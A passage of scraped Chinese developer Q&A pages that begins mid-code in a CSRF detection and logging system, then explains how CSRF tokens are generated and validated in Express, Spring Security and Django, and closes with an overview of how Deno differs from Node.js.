(profile.requestTypes[req.method] || 0) + 1; // 检测异常行为 const anomalies = { suddenActivitySpike: this.checkActivitySpike(profile), unusualRequestPattern: this.checkRequestPattern(profile, req), geographicAnomaly: this.checkGeographicAnomaly(profile, req.ip) }; this.userProfiles.set(userId, profile); return anomalies; } checkActivitySpike(profile) { const timeWindow = 60000; // 1 分钟 const threshold = 50; // 阈值 const recentActivity = profile.activityHistory.filter( time => Date.now() - time < timeWindow ).length; return recentActivity > threshold; } checkRequestPattern(profile, req) { // 检测不常见的请求模式 const commonPatterns = ['GET', 'POST']; return !commonPatterns.includes(req.method) && profile.requestTypes[req.method] === 1; } checkGeographicAnomaly(profile, ip) { // 检测地理位置异常(需要 IP 地理位置数据库) const currentLocation = this.getLocationFromIP(ip); if (profile.previousLocations.length > 0) { const distance = this.calculateDistance( profile.previousLocations[profile.previousLocations.length - 1], currentLocation ); // 如果距离过大且时间很短,可能是异常 const timeDiff = Date.now() - profile.lastLocationCheck; return distance > 1000 && timeDiff < 3600000; // 1000km, 1小时 } return false; }}日志记录系统1. 结构化日志记录// CSRF 事件日志记录器class CSRFLogger { constructor() { this.logs = []; this.logFile = 'csrf-events.log'; } logCSRFEvent(event) { const logEntry = { timestamp: new Date().toISOString(), eventType: event.type, // 'attempt', 'blocked', 'detected' userId: event.userId, ip: event.ip, userAgent: event.userAgent, request: { method: event.method, path: event.path, headers: this.sanitizeHeaders(event.headers) }, detection: { reason: event.reason, confidence: event.confidence, patterns: event.patterns }, metadata: { sessionId: event.sessionId, referer: event.referer, origin: event.origin } }; this.logs.push(logEntry); this.writeToFile(logEntry); this.sendAlert(logEntry); } sanitizeHeaders(headers) { // 移除敏感信息 const sanitized = { ...headers }; delete sanitized.cookie; delete sanitized.authorization; return sanitized; } writeToFile(logEntry) { const logLine = JSON.stringify(logEntry) + '\n'; fs.appendFileSync(this.logFile, logLine); } sendAlert(logEntry) { // 发送告警通知 if (logEntry.eventType === 'blocked' || logEntry.detection.confidence > 0.8) { this.notifySecurityTeam(logEntry); } } notifySecurityTeam(logEntry) { // 集成告警系统(如 Slack、Email、PagerDuty) console.log('🚨 CSRF Attack Alert:', logEntry); }}2. 实时监控// 实时 CSRF 攻击监控class CSRFMonitor { constructor() { this.detector = new CSRFAttackDetector(); this.behaviorAnalyzer = new BehaviorAnalyzer(); this.logger = new CSRFLogger(); this.alertThreshold = 10; // 10 分钟内超过 10 次攻击 } monitorRequest(req, res, next) { const suspicious = this.detector.analyzeRequest(req); // 检查是否有可疑模式 const hasSuspiciousPattern = Object.values(suspicious).some(v => v); if (hasSuspiciousPattern) { this.logger.logCSRFEvent({ type: 'detected', userId: req.user?.id, ip: req.ip, userAgent: req.headers['user-agent'], method: req.method, path: req.path, headers: req.headers, reason: suspicious, confidence: this.calculateConfidence(suspicious), patterns: Object.keys(suspicious).filter(k => suspicious[k]), sessionId: req.sessionID, referer: req.headers.referer, origin: req.headers.origin }); // 根据置信度决定是否阻止请求 if (this.calculateConfidence(suspicious) > 0.7) { return res.status(403).send('Request blocked due to suspicious activity'); } } next(); } calculateConfidence(suspicious) { // 计算攻击置信度 const weights = { missingReferer: 0.3, mismatchedOrigin: 0.4, rapidRequests: 0.5, unusualUserAgent: 0.2, suspiciousReferer: 0.8 }; let confidence = 0; for (const [key, value] of Object.entries(suspicious)) { if (value && weights[key]) { confidence += weights[key]; } } return Math.min(confidence, 1.0); }}集成到应用中// Express 中间件集成const csrfMonitor = new CSRFMonitor();// 应用 CSRF 监控中间件app.use(csrfMonitor.monitorRequest.bind(csrfMonitor));// CSRF 防护中间件app.use((req, res, next) => { if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) { return next(); } // 验证 CSRF Token const token = req.body._csrf || req.headers['x-csrf-token']; if (token !== req.session.csrfToken) { csrfMonitor.logger.logCSRFEvent({ type: 'blocked', userId: req.user?.id, ip: req.ip, userAgent: req.headers['user-agent'], method: req.method, path: req.path, headers: req.headers, reason: { invalidToken: true }, confidence: 0.9, patterns: ['invalidToken'], sessionId: req.sessionID, referer: req.headers.referer, origin: req.headers.origin }); return res.status(403).send('Invalid CSRF token'); } next();});日志分析和报告// 日志分析工具class CSRFLogAnalyzer { constructor(logger) { this.logger = logger; } generateReport(timeRange = '24h') { const logs = this.filterLogsByTime(timeRange); return { summary: { totalAttempts: logs.length, blockedAttempts: logs.filter(l => l.eventType === 'blocked').length, detectedAttempts: logs.filter(l => l.eventType === 'detected').length, uniqueIPs: new Set(logs.map(l => l.ip)).size, uniqueUsers: new Set(logs.filter(l => l.userId).map(l => l.userId)).size }, topAttackers: this.getTopAttackers(logs), commonPatterns: this.getCommonPatterns(logs), timeline: this.getAttackTimeline(logs) }; } getTopAttackers(logs, limit = 10) { const ipCounts = {}; logs.forEach(log => { ipCounts[log.ip] = (ipCounts[log.ip] || 0) + 1; }); return Object.entries(ipCounts) .sort((a, b) => b[1] - a[1]) .slice(0, limit) .map(([ip, count]) => ({ ip, count })); } getCommonPatterns(logs) { const patternCounts = {}; logs.forEach(log => { log.detection.patterns.forEach(pattern => { patternCounts[pattern] = (patternCounts[pattern] || 0) + 1; }); }); return Object.entries(patternCounts) .sort((a, b) => b[1] - a[1]); } getAttackTimeline(logs) { const timeline = {}; logs.forEach(log => { const hour = new Date(log.timestamp).getHours(); timeline[hour] = (timeline[hour] || 0) + 1; }); return timeline; }}CSRF 攻击检测和日志记录系统应该与防护措施结合使用,形成完整的安全防护体系。定期分析日志数据可以帮助改进防护策略和及时发现新的攻击模式。
阅读 0·2月21日 16:11

CSRF Token 是如何工作的?

CSRF Token 是防御 CSRF 攻击最有效的方法之一,它通过验证请求的合法性来防止跨站请求伪造。工作原理1. Token 生成服务器在用户会话中生成随机 TokenToken 必须足够随机(建议至少 128 位)Token 可以有时效性Token 与用户会话绑定2. Token 传递Token 通过表单隐藏字段传递或通过自定义请求头传递(如 X-CSRF-Token)Token 也可以存储在 Cookie 中(双重提交)3. Token 验证服务器收到请求后验证 Token检查请求中的 Token 是否与会话中的匹配验证 Token 是否过期验证 Token 是否已被使用(可选)实现流程用户访问页面 → 服务器生成 CSRF Token → Token 存储在会话中 ↓Token 添加到表单/请求头 → 用户提交表单/发送请求 ↓服务器验证 Token → Token 匹配 → 执行操作 ↓Token 不匹配 → 拒绝请求代码实现后端实现(Node.js + Express)const express = require('express');const crypto = require('crypto');const session = require('express-session');const app = express();app.use(session({ secret: 'your-secret-key', resave: false, saveUninitialized: true}));// 生成 CSRF Tokenfunction generateCSRFToken() { return crypto.randomBytes(32).toString('hex');}// 中间件:生成 Tokenapp.use((req, res, next) => { if (!req.session.csrfToken) { req.session.csrfToken = generateCSRFToken(); } res.locals.csrfToken = req.session.csrfToken; next();});// 中间件:验证 Tokenfunction validateCSRFToken(req, res, next) { const token = req.body._csrf || req.headers['x-csrf-token']; if (!token || token !== req.session.csrfToken) { return res.status(403).json({ error: 'Invalid CSRF token' }); } next();}// 受保护的路由app.post('/transfer', validateCSRFToken, (req, res) => { // 处理转账逻辑 res.json({ success: true });});app.listen(3000);前端实现<!-- 表单提交 --><form action="/transfer" method="POST"> <input type="hidden" name="_csrf" value="{{ csrfToken }}"> <input type="number" name="amount" placeholder="Amount"> <button type="submit">Transfer</button></form><!-- AJAX 请求 --><script>const csrfToken = '{{ csrfToken }}';fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ amount: 100 })}).then(response => response.json()).then(data => console.log(data));</script>Spring Security 实现@Configuration@EnableWebSecuritypublic class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .csrf() .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) .and() .authorizeRequests() .antMatchers("/public/**").permitAll() .anyRequest().authenticated(); }}Django 实现# settings.pyMIDDLEWARE = [ 'django.middleware.csrf.CsrfViewMiddleware', # ... other middleware]# 模板中使用<form method="post"> {% csrf_token %} <input type="text" name="amount"> <button type="submit">Submit</button></form># 视图中验证from django.views.decorators.csrf import csrf_protect@csrf_protectdef transfer(request): if request.method == 'POST': # 处理转账逻辑 passToken 生成算法使用加密安全的随机数生成器// Node.jsconst crypto = require('crypto');const token = crypto.randomBytes(32).toString('hex');// Pythonimport secretstoken = secrets.token_hex(32)// Javaimport java.security.SecureRandom;import java.math.BigInteger;SecureRandom random = new SecureRandom();String token = new BigInteger(130, random).toString(32);安全注意事项1. Token 随机性使用加密安全的随机数生成器Token 长度至少 128 位(32 字节)避免使用可预测的 Token2. Token 时效性Token 应该有过期时间建议设置合理的过期时间(如 1-2 小时)敏感操作可以使用一次性 Token3. Token 存储Token 存储在服务器会话中不要在客户端存储敏感信息使用 HttpOnly Cookie 存储 Token(双重提交)4. Token 传输使用 HTTPS 传输 Token避免在 URL 中传递 Token使用 POST 方法提交表单5. Token 验证验证 Token 是否匹配验证 Token 是否过期验证请求来源(可选)常见问题1. Token 失效会话过期导致 Token 失效解决:自动刷新 Token 或延长会话时间2. 多标签页问题多个标签页共享同一个 Token解决:每个标签页使用独立 Token 或共享 Token3. AJAX 请求需要在请求头中添加 Token解决:使用拦截器自动添加 Token4. 文件上传文件上传无法使用表单 Token解决:使用请求头或预签名 URL最佳实践使用框架内置的 CSRF 保护:如 Spring Security、DjangoToken 与会话绑定:每个会话使用独立 Token设置合理的过期时间:平衡安全性和用户体验记录 Token 使用情况:便于审计和监控定期更新 Token:降低 Token 泄露风险配合其他防护措施:如 SameSite Cookie、Origin 验证总结CSRF Token 通过验证请求的合法性有效防止 CSRF 攻击。正确实现 CSRF Token 需要注意 Token 的生成、存储、传输和验证等各个环节,确保整个流程的安全性。使用框架内置的 CSRF 保护功能可以大大简化实现过程。
阅读 0·2月21日 16:11

如何使用 CSRF Token 防护跨站请求伪造攻击?

CSRF Token 是防止跨站请求伪造攻击最常用和最有效的防护机制之一。CSRF Token 的基本原理CSRF Token 是一个随机生成的、不可预测的字符串,服务器在用户访问受保护的页面时生成,并将其嵌入到表单中或通过其他方式传递给客户端。当用户提交表单时,服务器会验证请求中包含的 Token 是否与服务器存储的 Token 匹配。Token 的生成和存储生成阶段:使用加密安全的随机数生成器Token 应该足够长(至少 128 位)包含时间戳或会话 ID 等信息可以使用 UUID 或其他唯一标识符存储方式:服务器端 Session:最常用的方式,将 Token 存储在用户 Session 中加密 Cookie:将加密后的 Token 存储在 Cookie 中数据库:将 Token 与用户关联存储在数据库中Token 的验证流程用户访问表单页面时,服务器生成 TokenToken 被嵌入到表单的隐藏字段中用户提交表单时,Token 随请求发送到服务器服务器验证请求中的 Token 是否与 Session 中的 Token 匹配验证成功则处理请求,失败则拒绝请求实现示例// 生成 Tokenfunction generateCSRFToken() { return crypto.randomBytes(32).toString('hex');}// 中间件验证 Tokenfunction csrfProtection(req, res, next) { const token = req.body._csrf || req.headers['x-csrf-token']; if (token !== req.session.csrfToken) { return res.status(403).send('Invalid CSRF token'); } next();}Token 的安全注意事项一次性使用:每次请求后应该更新 Token时效性:Token 应该有过期时间唯一性:每个用户会话应该有独立的 Token不可预测性:使用加密安全的随机数生成器HTTPS 传输:确保 Token 在传输过程中不被窃取与其他防护措施的配合CSRF Token 通常与其他防护措施配合使用:SameSite Cookie 属性Referer 头验证自定义 HTTP 头这种多层防护策略可以提供更全面的安全保护。
阅读 0·2月21日 16:11

什么是 Deno?它和 Node.js 有什么区别?

Deno 是由 Node.js 创始人 Ryan Dahl 开发的现代化 JavaScript 和 TypeScript 运行时环境。Deno 的设计目标是解决 Node.js 在早期设计上的一些缺陷,并提供更安全、更简洁的开发体验。核心特性Deno 具有以下核心特性:默认安全:Deno 默认情况下脚本无法访问文件系统、网络或环境变量,除非显式授予相应权限内置 TypeScript 支持:Deno 原生支持 TypeScript,无需额外的转译步骤去中心化模块系统:使用 URL 导入模块,不依赖 package.json 和 node_modules单一可执行文件:Deno 只有一个可执行文件,无需复杂的安装过程内置工具链:包含格式化、测试、linting、打包等开发工具标准库:提供经过审核的标准库,确保代码质量与 Node.js 的主要区别| 特性 | Deno | Node.js ||------|------|---------|| 模块系统 | ES Modules (URL 导入) | CommonJS + ES Modules || 包管理 | 无 package.json,直接使用 URL | npm + package.json || 安全性 | 默认安全,需要显式授权 | 默认无安全限制 || TypeScript | 原生支持 | 需要配置和转译 || API 设计 | Promise-based | 回调和 Promise 混合 || 架构 | Rust + V8 | C++ + V8 |权限系统Deno 的权限系统是其安全特性的核心:# 授予文件系统读取权限deno run --allow-read script.ts# 授予网络访问权限deno run --allow-net script.ts# 授予所有权限(不推荐)deno run --allow-all script.ts模块导入示例// 直接从 URL 导入模块import { serve } from "https://deno.land/std/http/server.ts";// 从本地文件导入import { myFunction } from "./utils.ts";// 使用标准库import { assertEquals } from "https://deno.land/std/testing/asserts.ts";典型应用场景Web 服务器和 API 开发命令行工具开发自动化脚本微服务架构实时应用(WebSocket)Deno 特别适合需要快速开发、安全性和现代化开发体验的项目。
阅读 0·2月21日 16:10